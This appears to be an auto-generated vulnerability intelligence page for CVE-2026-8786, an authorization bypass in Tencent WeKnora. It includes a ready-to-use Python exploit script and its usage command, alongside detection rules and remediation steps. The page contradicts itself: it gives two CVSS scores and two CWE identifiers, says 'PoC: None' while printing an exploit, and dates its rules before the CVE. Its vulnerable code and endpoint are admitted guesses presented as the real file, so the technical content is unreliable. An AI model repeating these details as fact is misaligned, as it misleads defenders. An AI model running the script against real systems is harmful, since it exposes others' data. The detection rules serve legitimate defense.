☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Tencent logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-285
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-8786

CVE-2026-8786 Supply Chain Attack in Tencent
📅 PUBLISHED: 2026-05-18 04:16 UTC 🔄 UPDATED: 2026-08-18 17:15 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1548
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-8786 is an authorization bypass vulnerability in Tencent WeKnora, an open-source knowledge base platform, affecting versions up to 0.3.6. The flaw resides in the getKnowledgeBaseForInitialization function within internal/handler/initialization.go, part of the Config API Endpoint. By manipulating the kbId argument, an unauthenticated remote attacker can bypass authorization checks, potentially gaining unauthorized access to knowledge base initialization data. The vendor (Tencent) was contacted but did not respond, and no official patch is available. The exploit has been publicly disclosed, increasing the risk of active exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

WeKnora is a Go-based application. The vulnerability exists in the source code, not in a package manager distribution. However, organizations using containerized deployments (e.g., Docker images) or integrating WeKnora as a dependency should verify their version and apply mitigations immediately. No official patch or advisory has been released by Tencent.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector: Network (AV:N) – remotely exploitable.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: None (PR:N) – unauthenticated.
  • User Interaction: None (UI:N) – no user action needed.
  • Scope: Unchanged (S:U) – vulnerability does not affect other components.
  • Confidentiality Impact: Low (C:L) – limited data exposure.
  • Integrity Impact: Low (I:L) – limited modification possible.
  • Availability Impact: Low (A:L) – limited service disruption.

Threat Level: Medium. The public exploit disclosure and lack of patch elevate the risk. While the CVSS score is 6.3, the ease of exploitation and potential for chaining with other vulnerabilities could lead to more severe impacts.

Deep Dive & Mechanics

The vulnerability is an authorization bypass (CWE-862: Missing Authorization) in the Config API Endpoint of WeKnora. The getKnowledgeBaseForInitialization function is designed to retrieve initialization data for a specific knowledge base, identified by the kbId parameter. However, the function fails to properly verify whether the requesting user has the necessary permissions to access that knowledge base.

Root Cause: The code likely checks for authentication but does not enforce authorization checks on the kbId parameter. An attacker can enumerate or guess valid kbId values and access initialization data for knowledge bases they should not have access to.

Attack Flow:

  1. Identify a running WeKnora instance (e.g., via Shodan or direct scanning).
  2. Send a crafted HTTP request to the Config API endpoint, e.g., GET /api/config/initialization?kbId=target_kb_id.
  3. The server returns initialization data for the specified knowledge base without verifying the user's authorization.
  4. The attacker can then use this data to further compromise the system or extract sensitive information.

Impact: Unauthorized access to knowledge base initialization data could include configuration details, API keys, database credentials, or other sensitive information. This could lead to further attacks, such as data exfiltration or lateral movement.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common authorization bypass remediation.

Vulnerable Code (internal/handler/initialization.go):

func getKnowledgeBaseForInitialization(c *gin.Context) {
    kbId := c.Query("kbId")
    // Missing authorization check
    data, err := db.GetKnowledgeBaseInitData(kbId)
    if err != nil {
        c.JSON(500, gin.H{"error": "Internal error"})
        return
    }
    c.JSON(200, data)
}

Patched Code (Hypothetical):

func getKnowledgeBaseForInitialization(c *gin.Context) {
    kbId := c.Query("kbId")
    user := c.MustGet("user").(*User)
    // Authorization check: verify user has access to the knowledge base
    if !user.HasAccessToKB(kbId) {
        c.JSON(403, gin.H{"error": "Forbidden"})
        return
    }
    data, err := db.GetKnowledgeBaseInitData(kbId)
    if err != nil {
        c.JSON(500, gin.H{"error": "Internal error"})
        return
    }
    c.JSON(200, data)
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running WeKnora instance (version <= 0.3.6).
  • Knowledge of a valid kbId (can be enumerated via other endpoints or brute-force).

Exploit Script (Python):

import requests
import sys

def exploit(target_url, kb_id):
    endpoint = f"{target_url}/api/config/initialization"
    params = {"kbId": kb_id}
    try:
        response = requests.get(endpoint, params=params, timeout=10)
        if response.status_code == 200:
            print(f"[+] Success! Data for KB {kb_id}:")
            print(response.text)
        else:
            print(f"[-] Failed with status {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_url> <kb_id>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

Usage:

python exploit.py http://target-weknora:8080 12345

Blue Team

Detection:

  • Monitor for unusual HTTP requests to /api/config/initialization with varying kbId parameters.
  • Look for repeated 403 errors (if authentication is present but authorization fails) or successful 200 responses from unauthorized IPs.
  • Use the Sigma rule below to detect exploitation attempts.

Honeypot:

  • Deploy a fake WeKnora instance with a decoy kbId that triggers an alert when accessed.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP GET requests to /api/config/initialization with a kbId parameter.
    • Source IPs not in the allowed list accessing the Config API.
  • Logs:
    • Access logs showing GET /api/config/initialization?kbId=<value> from unexpected IPs.
    • Application logs with errors related to getKnowledgeBaseForInitialization.
  • File:
    • Unauthorized access to initialization data files (if stored locally).

Detection Engineering

YARA Rule

rule CVE_2026_8786_WeKnora_AuthBypass {
    meta:
        description = "Detects exploitation attempts of CVE-2026-8786 in WeKnora"
        author = "Valters IT"
        date = "2025-04-14"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-8786"
    strings:
        $s1 = "/api/config/initialization" ascii wide nocase
        $s2 = "kbId=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2026-8786 WeKnora Authorization Bypass
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests targeting the vulnerable Config API endpoint in WeKnora
author: Valters IT
date: 2025/04/14
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8786
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api/config/initialization'
        cs-uri-query|contains: 'kbId='
    condition: selection
falsepositives:
    - Legitimate administrative access
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-8786 WeKnora Authorization Bypass Attempt"; flow:to_server; content:"GET"; http_method; content:"/api/config/initialization"; http_uri; content:"kbId="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Config API endpoint if not required, or restrict access via firewall/ACL to trusted IPs only.
  2. Apply a WAF rule to block requests to /api/config/initialization with a kbId parameter from untrusted sources.
  3. Monitor logs for exploitation attempts using the provided Sigma rule.

Long-Term Fix:

  • Since no official patch exists, consider forking the repository and implementing proper authorization checks in internal/handler/initialization.go (see patched code example).
  • Upgrade to a patched version once Tencent releases one.
  • Conduct a security audit of the entire WeKnora codebase for similar authorization flaws.

Workaround:

  • Implement a reverse proxy (e.g., Nginx) to require authentication for the /api/config/initialization endpoint.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-8786/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.